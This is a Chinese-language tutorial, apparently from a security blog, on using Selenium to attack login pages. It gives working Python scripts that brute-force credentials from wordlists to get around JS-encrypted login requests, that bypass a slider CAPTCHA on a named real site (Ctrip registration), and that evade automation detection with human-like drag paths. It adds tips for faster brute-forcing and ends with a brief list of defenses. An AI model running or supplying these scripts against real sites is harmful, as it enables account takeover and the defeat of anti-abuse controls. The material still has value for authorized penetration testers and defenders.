从0到0.1,selenium模块在登录处的基础渗透应用
字数 866 2025-08-13 21:33:20
Selenium模块在登录渗透测试中的基础应用
一、环境安装与配置
1. 安装Selenium库
pip install selenium
2. 安装浏览器驱动
- 根据浏览器种类和版本下载对应驱动
- 以Chrome为例,下载chromedriver
- 参考文章:浏览器驱动下载指南
3. 配置环境变量
- 将下载的浏览器驱动(如chromedriver.exe)放到Python安装目录的Scripts文件夹下
- 确保Scripts路径已在系统环境变量中
4. 验证环境
from selenium import webdriver
browser = webdriver.Chrome()
browser.get('https://www.baidu.com')
二、自动化操作实战
1. 登录处爆破绕过JS加密
应用场景
当登录请求因JS加密导致抓包看不到明文账号密码时,可模拟人工输入进行爆破
代码实现
# -*-coding:utf-8-*-
from selenium import webdriver
from time import sleep
def BaoPao_login():
# 打开浏览器访问登录页面
browser = webdriver.Chrome()
browser.get('https://xxxx/User/Login')
# 加载字典文件
with open(r'D:\\username.txt', 'r', encoding='utf8') as user:
users = user.readlines()
with open(r'D:\\password.txt', 'r', encoding='utf8') as password:
passwords = password.readlines()
# 开始爆破
for user in users:
for password in passwords:
# 去除换行符
user = user.strip()
password = password.strip()
# 定位并输入账号密码
browser.find_element_by_id('username').send_keys(user)
browser.find_element_by_id('password').send_keys(password)
# 点击登录按钮
browser.find_element_by_xpath("//input[@class='btn btn-primary login-button']").click()
# 延时等待表单提交
sleep(2)
# 清理已输入的账号密码
browser.find_element_by_id('username').clear()
browser.find_element_by_id('password').clear()
if __name__ == '__main__':
BaoPao_login()
优化技巧
- 降低延时时间可加快爆破速度
- 不显示浏览器界面可提高效率
- 将字典文件放在磁盘根目录可加快读取速度
元素定位方法
- 通过ID定位
browser.find_element_by_id('username')
- 通过name定位
browser.find_element_by_name("wd")
- 通过class name定位
browser.find_element_by_class_name("s_ipt")
- 通过XPath定位(推荐)
browser.find_element_by_xpath('//*[@id="username"]')
- 通过CSS选择器定位(最推荐)
browser.find_element_by_css_selector("#username")
开发技巧
- 右键元素选择"Copy"可获取现成的定位代码
- 参考文章:Selenium基本操作
2. 绕过滑动验证码(以携程注册为例)
代码实现
from time import sleep
from selenium import webdriver
from selenium.webdriver import ActionChains
def RaoHuaDong_Code():
browser = webdriver.Chrome()
browser.get('https://passport.ctrip.com/user/reg/home')
# 处理用户协议弹窗
browser.find_element_by_xpath('//*[@id="agr_pop"]/div[3]/a[2]').click()
sleep(0.5)
# 定位滑块和滑槽
XKK = browser.find_element_by_xpath('//*[@id="slideCode"]/div[1]/div[2]') # 滑块
DKK = browser.find_element_by_xpath('//*[@id="slideCode"]/div[1]/div[4]') # 滑槽
# 模拟拖拽动作
ActionChains(browser).drag_and_drop_by_offset(XKK, DKK.size['width'], 0).perform()
if __name__ == '__main__':
RaoHuaDong_Code()
3. 复杂滑块验证码绕过尝试(以某控登录为例)
代码实现
from time import sleep
from selenium import webdriver
from selenium.webdriver import ActionChains
from selenium.webdriver import ChromeOptions
def get_distance(TotalDistance):
"""模拟人手滑动轨迹(先加速后减速)"""
location_list = []
t = 0.1 # 每0.1秒记录一次
current_location = 0 # 当前位置
v = 0 # 初速度
while current_location < TotalDistance:
if current_location < TotalDistance/2:
acceleration = 2 # 前半段加速
else:
acceleration = -2 # 后半段减速
v0 = v
v = v0 + acceleration * t
move = v0 * t + 1/2 * acceleration * t * t
current_location += move
location_list.append(current_location)
return location_list
def RaoGuoHuaKuai_code():
# 尝试隐藏自动化特征(效果有限)
option = ChromeOptions()
option.add_experimental_option('excludeSwitches', ['enable-automation'])
option.add_argument("--disable-blink-features")
option.add_argument("--disable-blink-features=AutomationControlled")
browser = webdriver.Chrome(options=option)
browser.get('https://xxxx/user/login.html')
# 输入账号密码
sleep(2)
browser.find_element_by_xpath('//*[@id="user"]').send_keys('xlz')
browser.find_element_by_xpath('//*[@id="pass"]').send_keys('123456')
# 点击登录
sleep(2)
browser.find_element_by_xpath('//*[@id="login"]').click()
# 等待验证码加载
sleep(2)
# 定位滑块
start_HK = browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[6]/div/div[1]/div[2]/div[2]')
action = ActionChains(browser)
# 点击并保持滑块
action.click_and_hold(start_HK).perform()
# 获取模拟滑动轨迹
distances_list = get_distance(key)
print(distances_list)
# 一次性移动到位(对于极验验证码)
action.move_by_offset(xoffset=key, yoffset=0).perform()
sleep(3)
# 分段移动(适用于可累计移动的验证码)
"""
for i in distances_list:
action.move_by_offset(xoffset=i, yoffset=0).perform()
action.reset_actions()
"""
if __name__ == '__main__':
key = 140 # 滑块需要移动的总距离(通过开发者工具查看)
RaoGuoHuaKuai_code()
注意事项
- 滑块总距离(key)需要通过开发者工具手动测量
- 极验等高级验证码不支持累计移动,必须一次性到位
- 隐藏自动化特征的方法对大公司网站效果有限
三、防御措施
-
检测Selenium特征
- 检查浏览器自动化标志
- 检测常见自动化工具指纹
-
增强验证码机制
- 使用行为分析验证是否为真人操作
- 实现多因素验证
-
监控异常登录行为
- 检测高频登录尝试
- 实现IP限制和账号锁定机制
四、总结
本文介绍了Selenium在登录渗透测试中的基础应用,包括:
- 环境配置与验证
- 自动化登录爆破绕过JS加密
- 滑动验证码绕过技术
- 复杂滑块验证码的尝试绕过
关键点:
- 熟练掌握元素定位方法(XPath和CSS选择器最可靠)
- 理解模拟人工操作的行为模式
- 认识自动化工具的局限性(对大公司网站效果有限)
参考资料: